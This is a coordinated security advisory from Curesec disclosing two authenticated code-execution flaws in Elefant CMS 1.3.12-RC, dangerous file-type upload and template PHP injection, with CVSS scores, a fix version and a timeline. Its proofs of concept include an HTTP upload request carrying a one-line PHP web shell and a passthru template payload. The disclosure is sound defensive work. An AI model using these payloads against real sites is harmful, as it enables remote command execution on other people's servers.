Security Advisory - Curesec Research Team

1. Introduction

Affected Product:  Elefant CMS 1.3.12-RC
Fixed in:          1.3.13
Fixed Version      https://github.com/jbroadway/elefant/releases/tag/
Link:              elefant_1_3_13_rc
Vendor Website:    https://www.elefantcms.com/
Vulnerability      Code Execution
Type:
Remote             Yes
Exploitable:
Reported to        09/05/2016
vendor:
Disclosed to       02/02/2017
public:
Release mode:      Coordinated Release
CVE:               n/a (not requested)
Credits            Tim Coen of Curesec GmbH

2. Overview

Elefant is a content managment system written in PHP. In version 1.3.12-RC, it
is vulnerable to code execution because of two different vulnerabilities. It
allows the upload of files with dangerous type, as well as PHP code injection.

An account is required to exploit these issues.

3. Details

Upload of file with dangerous type

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

The file upload forbids the uploading of files with the .php extension, but
allows uploading of files with a number of other dangerous extensions leading
to code execution and XSS.

A user account is required which has the right to upload and manage files. By
default, the editor or admin role have this right.

Proof of Concept:

POST /filemanager/upload/drop HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/
form-data; boundary=------multipartformboundary1472116478634 X-Requested-With:
XMLHttpRequest Content-Length: 316 Cookie: PHPSESSID=
57uejmot41c4jsbtbac85mek55; elefant_update_checked=1; elefant_last_page=
%2Fuser; elefant_user=nj86h42vi2j73tsturvq4slr05 Connection: close
--------multipartformboundary1472116478634 Content-Disposition: form-data; name
="path" --------multipartformboundary1472116478634 Content-Disposition:
form-data; name="file"; filename="test.php5" Content-Type: application/x-php <?
php passthru($_GET['x']); --------multipartformboundary1472116478634--

PHP Code Injection

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

The layout editor provides the option to create HTML templates. Additionally,
it allows to use a small subset of PHP constructs, namely: {{ var }} {% foreach
%} {% if %} {! handler !} {" text "}.

However, an attacker can use this functionality to execute arbitrary commands
via a template.

An account with the right to edit themes is required. By default, the admin
role has this right.

Proof of Concept:

Visit http://localhost/designer/add/layout Enter {{passthru('id')}} In the
textarea.

4. Solution

To mitigate this issue please upgrade at least to version 1.3.13.

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue, Vendor announces fix
11/07/2016 Asked Vendor if recent releases fixes issues, Vendor confirmed
02/02/2017 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Elefant-CMS-1312-RC-Code-Execution-188.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany